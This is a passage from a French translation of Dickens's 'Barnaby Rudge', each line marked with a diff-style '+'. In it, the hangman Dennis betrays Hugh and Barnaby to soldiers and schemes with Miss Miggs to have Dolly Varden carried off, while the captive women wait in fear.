+-- Pas assez bien, pourtant, pour vous empêcher de nous trouver, à
+ce qu'il parait, répondit Hugh de mauvaise humeur.
+
+-- Écoutez donc, je vais vous dire, camarade, reprit Dennis avec
+un sourire amical; quand vous voudrez que je ne sache pas de quel
+côté vous êtes à chevaucher, vous ferez bien de ne pas attacher de
+pareils grelots au cou de votre cheval. Ah! je les ai assez
+entendus la nuit dernière pour ne pas les oublier; il me semble
+que je les ai encore dans l'oreille; voilà la vérité. Mais,
+voyons! comment ça va-t-il, camarade?
+
+Pendant ce temps-là il s'était approché, et il s'était même risqué
+à s'asseoir à côté de lui.
+
+«Comment je vais? répondit Hugh. Dites-moi d'abord ce que vous
+avez fait hier. Où donc êtes-vous allé quand vous m'avez quitté
+dans la prison? Pourquoi m'avez-vous quitté? Et qu'est-ce que vous
+aviez à rouler vos yeux comme vous faisiez, et à me montrer le
+poing, hein?
+
+-- Moi, montrer le poing... à vous, camarade! dit Dennis, arrêtant
+doucement la main que Hugh venait de lever d'un air menaçant.
+
+-- Alors c'était votre bâton: c'est toujours la même chose.
+
+-- Que le bon Dieu vous bénisse! camarade; je n'avais rien du
+tout. Vous me connaissez bien mal. Je ne serais vraiment pas
+étonné maintenant, ajouta-t-il du ton découragé d'un homme qui se
+sent calomnié, que vous vous fussiez mis dans la tête, parce que
+je vous demandais de me laisser ces drôles-là en prison, que
+j'allais déserter le drapeau.
+
+-- Eh bien, oui! je me l'étais mis dans l'idée, répondit Hugh en
+jurant.
+
+-- Quand je vous disais! répliqua M. Dennis tristement. En vérité,
+il y a de quoi dégoûter de la confiance. Déserter le drapeau, moi,
+Ned, Dennis, comme m'a baptisé feu mon père... Est-ce à vous,
+cette hache-là, camarade?
+
+-- Oui, c'est à moi, dit Hugh du même ton de mauvaise humeur. Vous
+l'auriez bien sentie, si vous vous étiez seulement trouvé sur son
+chemin cette nuit. Posez-la par terre.
+
+-- Je l'aurais sentie! dit M. Dennis sans la lâcher, et examinant
+d'un air distrait si elle avait bien le fil. Je l'aurais sentie!
+Et moi qui, pendant ce temps-là, travaillais de mon mieux! Voilà
+bien le monde! Vous n'auriez seulement pas le coeur de me demander
+si je ne boirais pas bien un coup au goulot de cette bouteille,
+hein?»
+
+Hugh la lui passa. Comme l'autre l'approchait de ses lèvres,
+Barnabé fit un bond et, lui recommandant de se taire, regarda
+dehors d'un air sérieux.
+
+«Qu'est-ce que vous avez, Barnabé? dit Dennis, observant Hugh et
+laissant tomber le flacon, mais non pas la hache, qu'il gardait
+toujours à la main.
+
+-- Chut! répondit tout bas Barnabé. Qu'est-ce que je vois briller
+là, derrière la haie?
+
+-- Ce que c'est? cria le bourreau à tue-tête, en se saisissant de
+lui et de Hugh, ce ne seraient pas... ce ne seraient pas les
+soldats, peut-être?»
+
+Au même instant, le hangar se remplit de gens armés, et un
+détachement de cavalerie arriva, à travers champs, au grand galop.
+
+«Là! dit Dennis, qui était resté libre pendant qu'ils s'étaient
+saisis de leurs prisonniers; voici, messieurs, les deux jeunes
+gens que la proclamation a mis à prix. L'autre, là-bas, est un
+criminel échappé... J'en suis bien fâché, camarade, ajouta-t-il
+d'un ton résigné, en s'adressant à Hugh, mais c'est votre faute;
+c'est vous qui m'y avez forcé. Vous n'avez pas voulu respecter les
+plus fermes principes constitutionnels, vous savez: vous êtes venu
+violer et ébranler les fondements mêmes de la société. Je ne sais
+pas ce que je n'aurais pas donné pour que vous ne fissiez pas ça,
+ma parole d'honneur... Si vous voulez, messieurs, les tenir ferme,
+je crois que je ne serai pas embarrassé pour les lier plus
+solidement que vous ne pourriez le faire.»
+
+Cependant, cette opération fut suspendue pour quelques moments par
+un autre événement. L'aveugle, dont les oreilles étaient plus
+clairvoyantes que les yeux de bien des gens, avait été alarmé,
+avant Barnabé, par un bruit de frottement dans les buissons à
+l'abri desquels les soldats s'étaient avancés. Il avait fait
+immédiatement bonne retraite, et s'était tapi dans un coin
+quelques minutes; mais, dans son trouble, s'étant trompé sans
+doute en sortant de sa cachette, il était maintenant en pleine
+vue, courant à travers la plaine.
+
+Un officier cria aussitôt qu'il le reconnaissait pour avoir aidé
+la nuit précédente à piller une maison. On lui ordonna à haute
+voix de se rendre. Il n'en courut que plus fort; encore quelques
+secondes, et il était trop loin pour qu'un coup de feu pût
+l'atteindre. L'ordre donné, les soldats tirèrent.
+
+Il y eut un moment de profond silence, chacun retenant son
+haleine. Tous les yeux étaient fixés sur lui. On l'avait vu
+tressaillir au moment de la décharge, comme s'il avait eu
+seulement peur du bruit. Mais il ne s'était pas arrêté: il n'avait
+seulement point ralenti son pas; au contraire, il avait continué
+sa course encore une quarantaine de mètres plus loin. Mais là,
+sans tournoyer, sans chanceler, sans aucun signe de faiblesse ou
+de frémissement dans ses membres, il tomba comme un plomb.
+
+Quelques soldats coururent à l'endroit où il était étendu. Le
+bourreau les accompagnait. Tout cela s'était passé si vivement,
+que la fumée n'était pas tout à fait dissipée et serpentait encore
+dans l'air en un léger nuage, qu'on aurait pu prendre pour
+l'esprit que venait de rendre le défunt et qui désertait son corps
+d'un air solennel. Il n'y avait que quelques gouttes de sang sur
+l'herbe; un peu plus de l'autre côté, quand on l'eût retourné...
+Voilà tout.
+
+«Venez voir un peu! venez voir un peu! dit le bourreau se
+baissant, un genou en terre, à côté du corps, et regardant d'un
+air désolé l'officier avec ses hommes: voilà qui est joli!
+
+-- Ôtez-vous de là, répliqua l'officier. Sergent, voyez ce qu'il
+avait sur lui.»
+
+Le sergent retourna les poches de l'aveugle, les vida sur l'herbe,
+et trouva, sans compter quelques pièces de monnaie étrangère et
+deux bagues, quarante-cinq guinées en or. On les emporta
+enveloppées dans un mouchoir, laissant là, pour le moment, le
+cadavre, avec le sergent et six soldats chargés de le transporter
+au poste le plus voisin.
+
+«À présent, si vous voulez partir, dit le sergent en donnant une
+tape sur l'épaule de Dennis et en lui montrant l'officier qui
+retournait vers le hangar.»
+
+À quoi M. Dennis répondit seulement: «Je vous défends de me
+parler. Et en même temps il répéta ce qu'il avait déjà dit, en
+terminant encore par: «Voilà qui est joli!
+
+-- Il me semble que c'était un homme qui ne vous intéressait pas
+beaucoup? remarqua le sergent froidement.
+
+-- Et qui donc intéresserait-il, répliqua M. Dennis en se
+relevant, si ce n'est pas moi?
+
+-- Oh! je ne savais pas que vous aviez le coeur si tendre, dit le
+sergent: voilà tout.
+
+-- Le coeur si tendre! répéta Dennis; le coeur si tendre!
+Regardez-moi cet homme-là! Trouvez-vous ça constitutionnel? Voyez-
+vous comme on l'a percé d'une balle de part en part, au lieu de
+l'exécuter comme un bon Anglais? Le diable m'emporte si je sais
+maintenant de quel côté me retourner. Votre parti ne vaut pas
+mieux que l'autre. Que va devenir le pays, si le pouvoir militaire
+se permet de se substituer comme ça aux autorités civiles?
+Qu'avez-vous fait des droits du citoyen, de cette pauvre créature,
+notre semblable, en le privant du privilège de m'avoir, moi, pour
+l'assister à ses derniers moments? Est-ce que je n'étais pas là?
+Je ne demandais pas mieux que de le servir. J'étais tout prêt.
+Nous voilà bien lotis, camarade, si nous faisons crier comme ça
+les morts contre nous, et que nous allions nous coucher
+tranquillement par là-dessus: c'est du propre!»
+
+Peut-être trouva-t-il dans son chagrin quelque consolation à
+garrotter les autres prisonniers; il faut l'espérer pour lui. Dans
+tous les cas, la sommation qu'on lui fit de se mettre à la besogne
+parut le distraire, pour le moment, de ses pénibles réflexions, en
+donnant à ses pensées une occupation qui les flattait davantage.
+
+On ne les emmena pas tous trois ensemble: on en fit deux
+escouades. Barnabé et son père allèrent d'un côté, au centre d'un
+peloton d'infanterie, et Hugh, bien attaché sur un cheval, suivit
+un autre chemin, avec une bonne escorte de cavaliers.
+
+Ils n'eurent pas occasion d'avoir ensemble la moindre
+communication pendant le court intervalle qui précéda leur départ,
+parce qu'on eut soin de les tenir rigoureusement séparés. Hugh
+s'aperçut seulement que Barnabé marchait la tête basse au milieu
+de ses gardes, et qu'en passant devant lui il souleva doucement,
+en signe d'adieu, sa main chargée de chaînes, sans lever les yeux.
+Quant à lui, il ne perdait pas courage, tout le long du chemin,
+persuadé que la populace viendrait forcer sa prison, où qu'il fût,
+pour le mettre en liberté. Mais quand ils furent entrés dans
+Londres, et particulièrement dans Fleet-Street, naguère le
+quartier général de l'émeute, et qu'il y vit les soldats occupés à
+poursuivre jusqu'à la dernière trace du rassemblement, il vit
+qu'il fallait renoncer à cette espérance, et reconnut qu'il
+marchait à la mort.
+
+
+
+
+CHAPITRE XXVIII.
+
+
+M. Dennis avait dépêché ce petit bout d'affaire sans aucun
+désagrément personnel; retiré maintenant dans la sécurité
+respectable de la vie privée, il eut envie d'aller se donner une
+heure ou deux de bon temps dans la société des dames. Dans cette
+aimable intention, il dirigea ses pas vers la maison où Dolly
+était encore emprisonnée avec Mlle Haredale et où l'on avait aussi
+transporté miss Miggs, par ordre de M. Simon Tappertit.
+
+En s'en allant le long des rues avec ses gants de peau croisés
+derrière son dos et le visage animé par la douce gaieté que lui
+inspiraient ses heureux calculs, M. Dennis pouvait se comparer à
+un fermier qui rumine ses gains futurs au milieu de ses blés, et
+qui jouit, par anticipation, des bienfaits abondants de la
+Providence. De quelque côté qu'il se tournât, il voyait des amas
+de ruines qui lui promettaient d'amples et riches exécutions. La
+ville entière semblait comme une plaine où quelque bon génie avait
+préparé les sillons avec la charrue et semé le grain, fécondé par
+le temps le plus propice. Il ne lui restait plus qu'à récolter une
+magnifique moisson.
+
+Tout en prenant les armes et en s'associant aux actes de violence
+qui s'étaient commis, dans le grand et simple but de conserver à
+Old-Bailey toute sa pureté, et à la potence toute son utilité
+première, comme aussi toute sa grandeur morale, ce serait peut-
+être aller trop loin d'affirmer que M. Dennis eût envisagé et
+deviné d'avance d'aussi heureux résultats. Il avait plutôt
+considéré la chose comme une de ces belles combinaisons du sort
+dont la loi impénétrable est de tourner au profit et à l'avantage
+des honnêtes gens comme lui. Il se sentait personnellement
+privilégié dans cette maturité prospère de la moisson promise au
+gibet, et jamais il ne s'était autant félicité d'être le favori,
+l'enfant gâté de la Destinée; jamais de la vie il n'avait tant
+aimé cette belle dame, ni montré autant de calme et de vertueuse
+confiance.
+
+Car de supposer que lui, on pût aussi l'arrêter comme
+perturbateur, et le punir avec les autres, c'est une idée que
+M. Dennis rejetait bien loin de lui, comme une pure chimère. Il se
+disait que la ligne de conduite qu'il avait adoptée dans Newgate,
+et le service qu'il avait rendu ce jour-là, protesteraient assez
+haut contre tous les témoignages qui pourraient établir son
+identité comme complice de l'émeute. Si par hasard quelqu'un de
+ceux qui feraient des révélations, se sentant en danger, venait à
+déposer de sa complicité, cela ne ferait rien du tout; et, quand
+on découvrirait, au pis aller, quelque petite indiscrétion par lui
+commise, l'utilité plus grande que jamais de sa profession et les
+commandes considérables qui allaient se présenter en foule pour
+l'exercice de ses fonctions, ne manqueraient pas de faire qu'on
+mettrait de l'indulgence à passer là-dessus. En un mot, il avait
+joué son jeu d'un bout à l'autre avec beaucoup d'habileté; il
+avait viré de bord au bon moment; il avait livré deux des insurgés
+les plus notables et encore un criminel distingué, par-dessus le
+marché: il était donc bien tranquille, sauf pourtant (car il y
+avait une petite réserve à faire, qui empêchait même M. Denis de
+jouir d'un bonheur parfait)... sauf pourtant une circonstance:
+c'était la détention de Dolly et de miss Haredale dans une maison
+presque attenante à la sienne. C'était là la pierre d'achoppement:
+car, si on venait à les découvrir et à les reprendre, elles
+pouvaient, en portant contre lui témoignage, le mettre dans une
+situation où il y avait de grands risques à courir. D'un autre
+côté, les mettre en liberté, après leur avoir arraché auparavant
+le serment de garder le secret sans rien dire, il n'y avait pas à
+y penser. La considération du danger qu'il devinait de ce côté
+avait peut-être bien remplacé dans ce moment, chez le bourreau,
+son goût général pour le conversation des dames, lorsque, hâtant
+sa course, il se dépêchait d'aller goûter les charmes de leur
+société, donnant de bon coeur à tous les diables les amoureuses
+ardeurs de Hugh et de M. Tappertit, à chaque pas qu'il faisait.
+
+Quand il entra dans le misérable réduit où on les tenait
+enfermées, Dolly et miss Haredale se retirèrent en silence dans le
+coin le plus reculé. Mais Mlle Miggs, qui était très prude à
+l'endroit de sa réputation, tomba aussitôt à genoux et se mit à
+pousser des cris de mélusine: «Qu'est-ce que je vais devenir?...
+où est mon Simmuns? Ayez pitié, mon bon gentleman, de la faiblesse
+de mon sexe;» et d'autres lamentations non moins pathétiques,
+qu'elle lançait avec une pudeur et un décorum très propres à lui
+faire honneur.
+
+«Mademoiselle, mademoiselle, lui insinua Dennis à l'oreille, en
+lui faisant un signe de son index, venez ici, je ne veux pas vous
+faire de mal. Venez ici, mon agneau, voulez-vous?»
+
+En entendant cette tendre épithète, Mlle Miggs, qui avait suspendu
+ses cris pour mieux l'écouter quand il avait ouvert la bouche,
+recommença à crier de plus belle: «Oh! mon agneau! Il m'appelle
+son agneau! Oh! faut-il que je sois malheureuse de n'être pas
+venue au monde vieille et laide! Pourquoi le ciel a-t-il fait de
+moi la plus jeune de six enfants, tous défunts et maintenant dans
+leurs tombes bénies, excepté ma soeur mariée, qui est établie dans
+la Cour du Lion d'or, numéro vingt-six, le second cordon de
+sonnette à...
+
+-- Ne vous ai-je pas dit que je ne veux pas vous faire de mal? dit
+Dennis en lui montrant une chaise pour la faire asseoir. Alors,
+mademoiselle, qu'est-ce qu'il y a?
+
+-- Demandez-moi plutôt ce qu'il n'y a pas, cria Miggs en se
+serrant les mains dans l'agonie de la douleur. Il y a tout, quoi.
+
+-- Mais quand je vous dis au contraire qu'il n'y a rien, reprit le
+bourreau. Voyons! commencez par ne plus faire tout ce tapage et
+par venir vous asseoir ici. Voulez-vous, mon petit poulet?»
+
+Le ton caressant dont il disait ces dernières paroles aurait peut-
+être manqué son but, s'il ne l'avait pas accompagné de plusieurs
+mouvements saccadés de son pouce par-dessus son épaule, et de
+divers autres signes d'intelligence, comme de cligner l'oeil et de
+soulever sa joue avec sa langue, pour faire comprendre à la
+demoiselle, comme elle n'y manqua pas, qu'il désirait l'entretenir
+à part au sujet de miss Haredale et de Dolly. Comme Miggs avait
+une curiosité admirable et une jalousie très active, elle se
+releva, et, tout en frissonnant, en tremblant, en imprimant un
+mouvement musculaire des plus prononcés à tous les petits os de sa
+gorge, elle finit par approcher un peu de lui.
+
+«Asseyez-vous,» dit le bourreau.
+
+Joignant le geste à la parole, il la jeta, un peu brusquement et
+sans préparation, sur la chaise, et, pour la rassurer par un petit
+trait de jovialité innocente, comme il en faut pour plaire au sexe
+et pour le fasciner, il fit de son index une espèce de poinçon ou
+de vilebrequin dont il fit semblant de vouloir lui percer le
+flanc: sur quoi Mlle Miggs poussa encore de nouveaux cris et
+montra quelque envie de tomber en pâmoison.
+
+«Mon cher coeur, lui murmura Dennis à l'oreille en approchant sa
+chaise près de la sienne, quand est-ce que votre jeune homme est
+venu ici la dernière fois, hein?
+
+-- Mon jeune homme, bon gentleman! répondit Miggs avec un charmant
+embarras.
+
+-- Oui, Simmuns, vous savez... lui, quoi!
+
+-- Oh oui! il est bien à moi, cria Miggs avec des éclats de
+douleur amère...» Et en même temps elle lançait un regard jaloux à
+Dolly. «_À moi_, vous avez raison, bon gentleman.»
+
+C'était juste ce que M. Dennis voulait et espérait.
+
+«Ah!» dit-il, regardant si tendrement, pour ne pas dire si
+amoureusement, Mlle Miggs, qu'elle était assise, comme elle en fit
+depuis l'observation, sur des épines plus piquantes que toutes les
+aiguilles et les épingles de Whitechapel, se méfiant des
+intentions que laissait naturellement supposer cette expression
+inquiétante de ses traits; voilà justement ce que je craignais,
+j'en étais sûre. Aussi c'est sa faute à elle. Pourquoi est-elle
+toujours à les attirer par ses coquetteries?
+
+«Ce n'est pas moi, criait Miggs, croisant les mains et regardant
+en face d'elle dans le vide des airs avec une espèce de
+componction dévote, ce n'est pas moi qui voudrais me jeter à leur
+tête comme elle fait; ce n'est pas moi qui aurais cette
+effronterie; ce n'est pas moi qui voudrais avoir l'air de dire à
+toutes les créatures mâles de l'autre sexe: Venez n'embrasser ...
+(Et ici elle eut une chair de poule qui lui fit trembler tous les
+membres). Non, non, quand on m'offrirait tous les royaumes de la
+terre. Des mondes, ajouta-t-elle d'un ton solennel, des milliers
+de mondes n'y réussiraient pas; non, quand je serais une Vénus.
+
+-- Mais vous en êtes une Vénus, vous le savez bien, lui dit
+M. Dennis d'un air confidentiel.
+
+-- Non, je n'en suis pas une, bon gentleman, répondit Miggs en
+branlant la tête d'un air révolté, qui semblait proclamer qu'elle
+savait bien qu'il ne tenait qu'à elle d'en être une, mais qu'elle
+en serait bien fâchée. Non, je n'en suis pas une, bon gentleman,
+ne me calomniez pas.»
+
+Jusque-là elle s'était retournée de temps en temps du coté où
+s'étaient retirées Dolly et Mlle Haredale, et alors elle poussait
+un cri ou un gémissement, ou bien elle mettait la main sur son
+coeur, en tremblant de tous ses membres, afin de garder les
+apparences et de faire croire à ses compagnes que, si elle
+s'entretenait avec leur visiteur, c'était forcée, contrainte, et
+qu'elle ne se résignait à ce sacrifice personnel que dans leur
+intérêt commun. Mais en ce moment M. Dennis eut l'air si expressif
+et lui fit une grimace si singulièrement significative pour
+qu'elle vint encore plus près de lui, qu'elle renonça à ces petits
+artifices pour lui donner sans partage sa pleine et entière
+attention.
+
+«Je vous demandais quand Simmuns est venu ici, lui dit Dennis à
+l'oreille.
+
+-- Pas depuis hier matin, et encore il n'est resté que quelques
+minutes; il n'était pas venu du tout la veille.
+
+-- Vous savez que tout ce qu'il a fait c'était uniquement pour
+enlever celle-là, dit Dennis en indiquant Dolly du doigt, le plus
+légèrement qu'il put, et pour vous repasser à un autre?»
+
+Mlle Miggs, qui était tombée dans un état du désespoir intolérable
+en entendant la première partie de la phrase, revint un peu à elle
+en entendant la fin, et, par la vivacité soudaine avec laquelle,
+elle réprima ses larmes, elle eut l'air de déclarer que cet
+arrangement ne la contrarierait pas autrement, et que c'était
+peut-être une chose à voir.
+
+«Mais malheureusement, poursuivit Dennis, qui pénétra ses
+sentiments, malheureusement cet autre est aussi amoureux d'elle,
+et, quand cela ne serait pas, cet autre est arrêté comme
+perturbateur, et il ne faut plus penser à lui.»
+
+Mlle Miggs retomba dans son désespoir.
+
+«À présent, continua Dennis, il faut que je fasse évacuer la
+maison pour vous donner satisfaction. Qu'en dites-vous? ne ferais-
+je pas bien de la renvoyer d'ici pour qu'elle ne vous embarrasse
+plus, hein?»
+
+Mlle Miggs, se ranimant, répondit, avec beaucoup de suspensions et
+d'interruptions causées par son trouble excessif, que c'étaient
+les tentations qui avaient été la perte de Simmuns; qu'il n'y
+avait pas de sa faute; que c'était cette Dolly qui avait tout
+fait; que les hommes ne savaient pas démêler, comme les femmes,
+ces artifices odieux, et que c'est pour cela qu'ils se laissaient
+attraper et mettre en cage comme Simmuns; qu'elle ne disait pas ça
+par un sentiment de rancune personnelle; bien loin de là, elle ne
+voulait que du bien à tout le monde; mais, comme elle savait bien
+que Simmuns, une fois uni à quelque gaupe hypocrite et fallacieuse
+(elle ne voulait rien dire d'offensant pour personne, ce n'était
+pas dans son caractère), à quelque gaupe hypocrite et fallacieuse,
+ne pouvait manquer d'être misérable et malheureux pour le restant
+de ses jours, elle ne pouvait s'empêcher d'avoir des préventions.
+
+«Ça, c'est vrai, ajouta-t-elle, je ne demande pas mieux que de le
+confesser.» Mais comme ce n'était, au bout du compte, que son
+opinion particulière, et qu'on pourrait croire que c'était par
+esprit de vengeance, elle s'excusait auprès du gentleman de ne pas
+vouloir en dire plus long. Il aurait beau dire: résolue à
+accomplir son devoir envers le genre humain, même envers les gens
+qui avaient toujours été ses plus cruels ennemis, elle ne voulait
+pas seulement l'écouter.
+
+Là-dessus elle se boucha les oreilles, et remua la tête de droite
+à gauche, pour faire savoir à M. Dennis qu'il pouvait s'époumoner
+à lui parler, si cela lui faisait plaisir, mais qu'à partir de ce
+moment elle était sourde comme un pot.
+
+«Voyons, ma canne à sucre, dit M. Dennis, si vos vues concordent
+avec les miennes, vous n'avez qu'à vous tenir coite et vous
+éclipser au bon moment, et demain j'aurai fait maison nette pour
+nous délivrer de tout ce tracas... Un moment pourtant, voilà
+l'autre.
+
+-- Quel autre, monsieur? demanda Miggs, toujours les doigts dans
+ses oreilles, et secouant la tête avec un refus obstiné de
+l'entendre.
+
+-- Mais le grand, là-bas» dit Dennis, en se caressant le menton;
+et il ajouta à mi-voix, comme s'il se parlait à lui même, quelque
+chose comme qui dirait qu'il ne fallait pas contrarier maître
+Gashford.
+
+Mlle Miggs répliqua (toujours sourde comme un pot) que, si
+Mlle Haredale le gênait, il pouvait se mettre l'esprit en repos de
+ce côté; que, d'après ce qui s'était passé la dernière fois entre
+Hugh et M. Tappertit, elle croyait savoir qu'on devait la
+transporter seule le lendemain soir, non pas chez eux, mais chez
+quelque autre.
+
+M. Dennis ouvrit de grands yeux à cette nouvelle, siffla,
+réfléchit, et finalement se frappa le front et remua la tête, tout
+cela à la fois, comme s'il venait d'attraper le fil de cette
+translation mystérieuse et qu'il eût arrêté son plan. Puis il fit
+part de ses vues sur Dolly à Mlle Miggs, qui redevint
+immédiatement plus sourde que jamais, sans en démordre, jusqu'à la
+fin.
+
+Voici quel était ce plan remarquable: M. Dennis allait sur-le-
+champ s'occuper de trouver dans les insurgés quelque gaillard
+jeune et entreprenant (il en avait, dit-il, déjà un en vue), qui,
+effrayé des menaces qu'il pourrait lui faire, et alarmé par la
+prise de tant d'autres qui ne valaient ni mieux ni pis que lui,
+saisirait avec empressement une occasion de pouvoir partir à
+l'étranger pour y sauver sûrement son butin, quand on y mettrait
+pour condition de l'embarrasser de la compagnie de quelque
+personne qu'il faudrait emmener de force; que, bien entendu, cette
+personne qu'il faudrait emmener de force étant une jolie fille, ce
+serait pour lui un attrait et une tentation de plus. Une fois le
+ravisseur trouvé, Dennis se proposait de l'amener là le soir même,
+quand le Grand n'y serait plus, et que Mlle Miggs se serait
+retirée tout exprès; qu'alors on vous bâillonnerait Dolly, qu'on
+l'entortillerait bien dans un manteau, et qu'on l'emporterait dans
+quelque voiture qui l'attendrait pour l'emmener sur le bord de la
+rivière; qu'il y avait là toute sorte de facilités pour la faire
+transporter en contrebande dans quelque petite embarcation,
+gentiment et sans qu'on fit de questions. Quant aux frais de cet
+enlèvement, il croyait bien, à vue de nez, qu'il ne faudrait pas,
+pour les couvrir, plus de deux ou trois théières ou cafetières
+d'argent, avec un petit pourboire supplémentaire, comme un plat à
+muffins ou un porte-rôtie; que, comme les émeutiers avaient
+enterré diverses pièces d'argenterie dans différents endroits de
+Londres, et, en particulier, à sa connaissance, dans Saint-James
+Square, qui était facile d'accès, peu fréquenté à la tombée de la
+nuit, et qui avait au milieu de la place une pièce d'eau bien
+commode, les fonds nécessaires étaient faciles à se procurer, et
+qu'on pourrait en disposer au premier moment, quand on en aurait
+besoin. Le ravisseur, d'ailleurs, ne serait tenu qu'à une chose, à
+l'emmener et à la garder au loin. On laisserait entièrement à sa
+discrétion le soin d'arranger et de régler tout le reste.
+
+Si Mlle Miggs n'avait pas été sourde, point de doute qu'elle n'eût
+été grandement choquée par l'indélicatesse d'une pareille
+proposition. Une jeune femme s'en aller avec un étranger, la nuit!
+car la moralité de Miggs, nous l'avons déjà dit, était des plus
+chatouilleuses et se serait révoltée sur-le-champ. Mais, comme
+elle le dit elle-même à M. Dennis, quand il eut fini de parler, il
+avait perdu son temps; elle n'avait rien entendu. Tout ce qu'elle
+pouvait dire (toujours ses doigts dans les oreilles), c'est qu'il
+n'y avait qu'une sévère leçon pratique qui pût sauver la fille du
+serrurier de son entière ruine, et qu'elle se croyait moralement
+obligée, ne fût-ce que pour remplir un devoir sacré envers la
+famille, de souhaiter que quelqu'un voulût bien se donner la peine
+d'entreprendre de la réformer. Mlle Miggs remarqua, et avec
+beaucoup de sens, comme une idée fortuite qui venait de lui passer
+par la tête, qu'elle ne craignait pas de dire que le serrurier et
+sa femme feraient bien entendre quelques murmures et quelques
+regrets, s'ils venaient, par un enlèvement ou autrement, à perdre
+leur enfant; mais qu'il était bien rare que nous pussions savoir
+nous-mêmes ce qu'il nous faut dans ce monde, notre nature étant
+trop peccative et trop imparfaite pour que la plupart d'entre nous
+en vinssent à bien comprendre leurs véritables intérêts.
+
+Après cette conclusion satisfaisante de leur entretien, ils se
+séparèrent: Dennis, pour aviser à l'exécution de ses desseins, et
+faire une petite promenade dans sa ferme; Mlle Miggs pour se
+lancer, quand il l'eut quittée, dans une telle explosion
+d'angoisse morale (qu'elle attribua, dans son récit à ces dames, à
+certains propos scabreux qu'il avait eu l'audace et la présomption
+de lui tenir), que le petit coeur de la triste Dolly en fut tout
+attendri. Aussi, la pauvrette en dit tant, en fit tant pour
+apaiser la sensibilité outragée de Mlle Miggs, et, pendant tout ce
+temps-là, elle paraissait si jolie, que si sa jeune chambrière
+n'avait pas eu, pour se consoler de son dépit furieux, la
+connaissance du complot qui se brassait contre elle, elle lui
+aurait sauté aux yeux à l'instant pour lui égratigner la figure.
+
+
+
+
+CHAPITRE XXIX.
+
+
+Toute la journée du lendemain, Emma Haredale, Dolly et Miggs
+restèrent claquemurées ensemble dans cette prison où elles avaient
+déjà passé tant de jours, sans voir personne, sans entendre
+d'autre voix que les murmures d'une conversation chuchotée dans
+une chambre voisine entre les hommes chargés de les surveiller. Il
+paraissait y en avoir un plus grand nombre depuis quelque temps,
+et on n'entendait plus du tout les voix de femmes qu'elles avaient
+pu clairement distinguer d'abord. Il semblait aussi qu'il régnât
+parmi eux un peu plus d'agitation, car ils étaient toujours à
+entrer et à sortir avec mystère, et ne faisaient que questionner
+les nouveaux arrivants. Ils avaient commencé par ne point se gêner
+le moins du monde dans leur conduite: ce n'était que tapage,
+querelles entre eux, batailles, danses et chansons. À présent, ils
+étaient réservés et silencieux, ne causaient plus qu'à demi-voix,
+entraient ou sortaient sur la pointe du pied, au lieu de ces pas
+bruyants et de ces démarches fanfaronnes dont le fracas annonçait
+leur arrivée ou leur départ à leurs captives tremblantes.
+
+Ce changement venait-il de ce qu'il y avait maintenant quelque
+personne d'autorité parmi eux, dont la présence leur imposait, ou
+bien fallait-il l'attribuer à d'autres causes? elles n'en
+pouvaient rien savoir. Quelquefois elles s'imaginaient qu'il
+fallait en imputer la raison à ce qu'il y avait dans cette chambre
+un malade, parce que la nuit précédente on avait entendu un
+piétinement de gens qui paraissaient apporter un fardeau, et,
+après cela, un bruit semblable à un gémissement. Mais elles
+n'avaient aucun moyen de s'en assurer; les moindres questions, les
+moindres prières de leur part ne leur attiraient qu'un orage de
+jurements, ou d'insultes pires encore; et elles ne demandaient
+qu'une chose, c'était qu'on les laissât tranquilles, sans avoir à
+subir de menaces ou de compliments; trop heureuses de cet
+isolement pour risquer de compromettre la paix qu'elles y
+trouvaient par quelque communication aventureuse avec ceux qui les
+tenaient en captivité.
+
+Il était bien évident, pour Emma et même pour la pauvre petite
+fille du serrurier, que c'était elle, Dolly, qui était le grand
+objet de convoitise de ces brigands; et qu'aussitôt qu'ils
+auraient le loisir de s'occuper de soins plus tendres, Hugh et
+M. Tappertit ne manqueraient pas d'en venir aux coups pour elle,
+auquel cas il n'était pas difficile de prévoir à qui tomberait
+cette jolie prise. En proie à son ancienne horreur pour ce
+misérable, ravivée maintenant par le danger et devenue un
+sentiment indicible d'aversion et d'épouvantable dégoût; en proie
+à mille souvenirs, à mille regrets, à mille sujets d'angoisse,
+d'anxiété, de crainte, qui ne lui laissaient aucun repos, la
+pauvre Dolly Varden... la suave, la florissante, la folâtre Dolly,
+commençait à pencher la tête, à se faner et se flétrir comme une
+belle fleur. Les roses s'éteignaient sur ses joues, son courage
+l'abandonnait, son triste coeur était en défaillance. Adieu tous
+ses caprices provocants, ses goûts de conquête et d'inconstance,
+toutes ses petites vanités séduisantes: il n'en restait plus rien.
+Elle demeurait blottie tout le long du jour contre le sein d'Emma
+Haredale; tantôt appelant son cher père, son vieux père en cheveux
+gris, tantôt sa mère; tantôt soupirant même après son logis, si
+précieux à sa mémoire; elle dépérissait lentement, comme un pauvre
+oiseau dans sa cage.
+
+Coeurs légers, coeurs légers, qui vous laissez doucement entraîner
+au courant paisible de la vie, étincelant et flottant gaiement sur
+ses eaux aux rayons du soleil... duvet de la pêche, fleur des
+fleurs, vapeur purpurine du jour d'été, âme de l'insecte ailé qui
+ne vit qu'un jour... ah! qu'il faut peu de temps pour vous plonger
+au fond du torrent, quand il est troublé par l'orage! Le coeur de
+la pauvre Dolly, cette petite chose si gentille, si insouciante,
+si mobile, toujours dans le vertige d'une agitation sans fin et
+sans repos, qui ne connaissait de constance que dans ses regards
+pénétrants, son sourire gracieux et les éclats de sa joie... le
+coeur de Dolly allait se briser.
+
+Emma, qui avait connu la douleur, était plus capable de la
+supporter. Elle n'avait pas grandes consolations à donner; mais
+elle pouvait toujours calmer et soigner sa compagne. Elle n'y
+manquait pas, et Dolly ne la quittait pas plus que l'enfant ne
+quitte sa nourrice. En essayant de lui rendre quelque courage,
+elle augmentait le sien, et, quoique les nuits fussent bien
+longues, les jours bien pénibles, et qu'elle ressentit la funeste
+influence de la veille et de la fatigue, quoiqu'elle eût peut-être
+une idée plus claire et plus distincte de leur isolement et des
+périls effrayants qui en étaient la suite, elle ne laissait pas
+échapper une plainte. Devant les bandits qui les tenaient en leur
+pouvoir, elle avait à la fois dans sa tenue tant de calme et de
+dignité; au milieu même de ses terreurs, elle montrait si bien sa
+conviction secrète qu'ils n'oseraient pas la toucher, qu'il n'y en
+avait pas un parmi eux qui ne la regardât avec un certain
+sentiment de crainte: il y en avait même qui la soupçonnaient de
+porter sur elle quelque arme cachée, toute prête à en faire usage.
+
+Telle était leur condition lorsque Mlle Miggs vint les rejoindre,
+leur donnant à entendre qu'elle aussi elle avait été emprisonnée
+avec elles pour ses charmes, et leur comptant par le menu tant
+d'exploits de sa résistance héroïque, dont elle avait puisé la
